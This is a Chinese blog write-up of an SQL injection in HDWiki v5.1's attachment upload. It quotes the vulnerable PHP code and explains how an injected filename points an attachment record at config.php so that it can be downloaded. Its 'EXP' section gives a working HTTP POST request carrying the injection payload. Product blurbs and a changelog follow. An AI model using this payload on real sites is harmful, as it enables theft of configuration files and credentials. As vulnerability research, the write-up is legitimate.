hdwiki v5.1存在SQL注入导致可下载任意文件

1、hdwiki的运行模式

每到来一个请求,请求index.php,index.php使用请求中的querystring,querystring的形式是class-mothod的形式,去加载controller。本案中加载的attachment.php这个controller,controller的构造函数调用了attachment的model,最后把这个model放到$_ENV变量中

加载完毕controller之后,index.php中的程序会使用method的值,去调用controller 中的函数,本案中调用的是attachment的uploadimg和download

2、漏洞位置

漏洞存在于model/attachment.class.php,出现该漏洞是下图所示的注释内容不存在导致了注入

	function add_attachment($uid,$did,$filename,$attachment,$description,$filetype='.jpg',$isimage=1,$coindown=0){
		$filesize=filesize($attachment);
		#$filename=string::haddslashes($filename);
		if(empty($coindown) || !is_numeric($coindown)) {
			$coindown = 0;
		}
		$this->db->query("INSERT INTO ".DB_TABLEPRE."attachment(did,time,filename,description,filetype,filesize,attachment,coindown,isimage,uid) VALUES ($did,{$this->base->time},'$filename','$description','$filetype','$filesize','$attachment',$coindown,$isimage,$uid)");
		return $this->db->insert_id();
	}

 

当该段代码存在漏洞时,从客户端获得的$filename变量没有经过addslashes进行转义直接放入了insert语句中,此时可以闭合insert语句,在下载的位置插入你想下载的文件名称,比如config.php

下载的代码如下

	function dodownload(){
		if(!isset($this->get[2]) || !is_numeric($this->get[2])){
			$this->message($this->view->lang['parameterError'],'BACK');
		}
		$result=$_ENV['attachment']->get_attachment('id',$this->get[2],0);
		if(!(bool)$attachment=$result[0]){
			$this->message($this->view->lang['attachIsNotExist'],'BACK');
		}
		if($this->user['uid'] != $attachment['uid']) {
			// 判断金币
			$credit1 = $this->user['credit1'];		// 拥有金币数
			$coindown = $attachment['coindown'];	// 下载此附件需要消耗金币数
			if(0 > $credit1 - $coindown) {
				// 金币不足
				$this->message($this->view->lang['goldNotEnough'],"index.php?doc-view-".$attachment['did'],0);
			}
			// 扣除金币
			$_ENV['user']->add_credit($this->user['uid'],'attachment-down',0,-$coindown);
			// 增加金币
			$_ENV['user']->add_credit($attachment['uid'],'attachment-down',0,$coindown);
		}
		$_ENV['attachment']->update_downloads($attachment['id']);
		file::downloadfile($attachment['attachment'],$attachment['filename']);
	}

 

	function downloadfile($filepath,$filename=''){
		if(!file_exists($filepath)){
			return 1;
		}
		if(''==$filename){
			$tem=explode('/',$filepath);
			$num=count($tem)-1;
			$filename=$tem[$num];
			$filetype=substr($filepath,strrpos($filepath,".")+1);
		}else{
			$filetype=substr($filename,strrpos($filename,".")+1);
		}
		$filename_utf=function_exists(mb_convert_encoding)?mb_convert_encoding($filename, "gbk",'utf-8'):urldecode($filename);
		$filename ='"'.(strtolower(WIKI_CHARSET) == 'utf-8' && !(strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') === FALSE) ? $filename_utf : $filename).'"';
		$filesize = filesize($filepath);
		$dateline=time();
		file::hheader('date: '.gmdate('d, d m y h:i:s', $dateline).' gmt');
		file::hheader('last-modified: '.gmdate('d, d m y h:i:s', $dateline).' gmt');
		file::hheader('content-encoding: none');
		file::hheader('content-disposition: attachment; filename='.$filename);
		file::hheader('content-type: '.$filetype);
		file::hheader('content-length: '.$filesize);
		file::hheader('accept-ranges: bytes');
		if(!@empty($_SERVER['HTTP_RANGE'])) {
			list($range) = explode('-',(str_replace('bytes=', '', $_SERVER['HTTP_RANGE'])));
			$rangesize = ($filesize - $range) > 0 ?  ($filesize - $range) : 0;
			file::hheader('content-length: '.$rangesize);
			file::hheader('http/1.1 206 partial content');
			file::hheader('content-range: bytes='.$range.'-'.($filesize-1).'/'.($filesize));
		}
		if($fp = @fopen($filepath, 'rb')) {
			@fseek($fp, $range);
			echo fread($fp, filesize($filepath));
		}
		fclose($fp);
		flush();
		ob_flush();
	}

 

下载调用attachment-download-xx,其中xx是附件的ID。

如果插入的时候说的下载的文件是config.php,这里就会下载config.php

3、后记

insert语句的注入接触得比较少。

 

4、EXP

POST /HDWiki-v5.1UTF8-20121102/hdwiki/index.php?attachment-uploadimg-56 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://localhost/HDWiki-v5.1UTF8-20121102/hdwiki/index.php?doc-create
Cookie: hd_sid=Bt0yO7; hd_auth=c701xbewwRttXTWmEfTitYLArcr4zMn0TGPnyic7X88rXCWcRggNb%2Bdl2EVozEComqD40qfHev4M0ZgOylZ3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------106771681822525
Content-Length: 37933

-----------------------------106771681822525
Content-Disposition: form-data; name="photofile"; filename="upload','hehe','gif','10000','config.php',0,1,2)#.gif"
Content-Type: image/png

上传文件的过程将filename改成图中的exp既可。

转载于:https://my.oschina.net/u/812640/blog/1620432

互动百科HDWiki是专为中文用户设计和开发,程序源代码100%完全开放的一个采用 PHP 和 MySQL 数据库构建的高效的中文百科建站解决方案,在尊重版权的前提下能极大的满足站长对于网站程序进行二次开发。HDwiki作为中国第一款拥有自主知识产权的中文Wiki系统,由互动在线(北京)科技有限公司(www.baike.com)于2006年11月28 日正式推出,力争为给众多的 Wiki 爱好者提供一个简单、易用、功能强大的 Wiki 建站系统(企事业单位、社会团体、其他用户及海外用户使用本系统需要获得正式授权,详见授权中心)。HDwiki的推出,HDwiki在易用性和功能可操控性等方面都获得了广大中小站长和 Wiki 爱好者的喜爱,目前数万家网站成功搭建 Wiki 站点及频道。 对于众多的中小站长而言,利用 HDwiki 均能够在最短的时间内,花费最低的费用,采用最少的人力,架设一个性能优异、功能全面、安全稳定的百科网站平台。更重要的是,互动百科还为中小站长们建立百科站点提供全方位的支持。 对于网民及百科爱好者而言,注册任何一个由 HDwiki 软件系统建立的网站/百科频道,将能方便、快捷地享受到百科带来的互动知识体验,可以进行创建/编辑词条、添加/修改资料、站内短信、百科搜索等众多的基本百科操作,以及与 Discuz! 等主流论坛程序无缝对接的高级社区应用。 HDWiki(互动百科)截图 相关阅读 同类推荐:站长常用源码
互动百科HDWiki是专为中文用户设计和开发,程序源代码100%完全开放的一个采用 PHP 和 MySQL 数据库构建的高效的中文百科建站解决方案,在尊重版权的前提下能极大的满足站长对于网站程序进行二次开发。HDwiki作为中国第一款拥有自主知识产权的中文Wiki系统,由互动在线(北京)科技有限公司(www.baike.com)于2006年11月28 日正式推出,力争为给众多的 Wiki 爱好者提供一个简单、易用、功能强大的 Wiki 建站系统(企事业单位、社会团体、其他用户及海外用户使用本系统需要获得正式授权,详见授权中心)。HDwiki的推出,HDwiki在易用性和功能可操控性等方面都获得了广大中小站长和 Wiki 爱好者的喜爱,目前数万家网站成功搭建 Wiki 站点及频道。 对于众多的中小站长而言,利用 HDwiki 均能够在最短的时间内,花费最低的费用,采用最少的人力,架设一个性能优异、功能全面、安全稳定的百科网站平台。更重要的是,互动百科还为中小站长们建立百科站点提供全方位的支持。 对于网民及百科爱好者而言,注册任何一个由 HDwiki 软件系统建立的网站/百科频道,将能方便、快捷地享受到百科带来的互动知识体验,可以进行创建/编辑词条、添加/修改资料、站内短信、百科搜索等众多的基本百科操作,以及与 Discuz! 等主流论坛程序无缝对接的高级社区应用。 HDWiki(互动百科)更新日志 相关阅读 同类推荐:站长常用源码
互动百科HDwiki是专为中文用户设计和开发,程序源代码100%完全开放的一个采用PHP和MySQL数据库构建的高效的中文百科建站解决方案,在尊重版权的前提下能极大的满足站长对于网站程序进行二次开发。 互动百科HDwiki 6.0 UTF8 更新日志: 2017-02-09 新增功能:1.全新UI,画风简洁,美观实用,带来全新的用户体验; 1.1全新的wiki网站设计风格; 1.2全新的词条编辑器UI; 1.3全新的首页、导航、个人中心UI。2.新增移动端浏览,实现PC与移动端全面联动,让你的Wiki触手可及; 2.1PC端内容自动识别适应至移动端; 2.2ios、安卓、win多机型适配; 2.3功能精简,让移动端更加轻量化。3.新增CSRF(Cross-site request forgery跨站请求伪造)防范; 3.1防范利用用户标识危害网站; 3.2防范欺骗用户的浏览器发送HTTP请求给目标站点; 3.3防范通过IMG标签触发GET请求并利用利用它来实现CSRF攻击。4.新增访问频率限制,可以根据IP或用户标识对某个功能进行在指定时间范围内的可访问次数限制; 4.1防范访问频率过高造成服务器负载异常; 4.2防范用户Web恶意采集; 4.3防范可能的恶意流量攻击。5.新增词条正文导航模块,可快速定位正文各部分; 5.1根据目录自动生成正文导航; 5.2点击快速跳转至正文各个目录或模块; 5.3随正文浏览进度实时定位。改进与优化:1.编辑器升级,整体UI重制,正文粘贴表格以及对齐方式选择优化; 1.1对齐方式新增了居中和右对齐; 1.2图片编辑新增了移动和替换图片; 1.3正文新增了对粘贴表格的支持。2.网络安全升级,为您的wiki提供企业级的信息安全保护; 2.1升级防火墙安全级别; 2.2新增服务器安全防护机制; 2.3针对潜在攻击威胁进行防护。3.后台管理逻辑优化,提高可操作性、界面友好性,去除冗余模块; 3.1优化后台管理服务,缩短响应时间; 3.2去除了新知社和下载词条模块; 3.3相关信息更新至6.0版本。4.改进分享功能,词条页面可一键分享至微信、QQ空间、新浪微博与印象笔记; 4.1新增分享词条至微信朋友圈及QQ空间; 4.2新增分享词条至印象笔记; 4.3新增分享词条至新浪微博。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值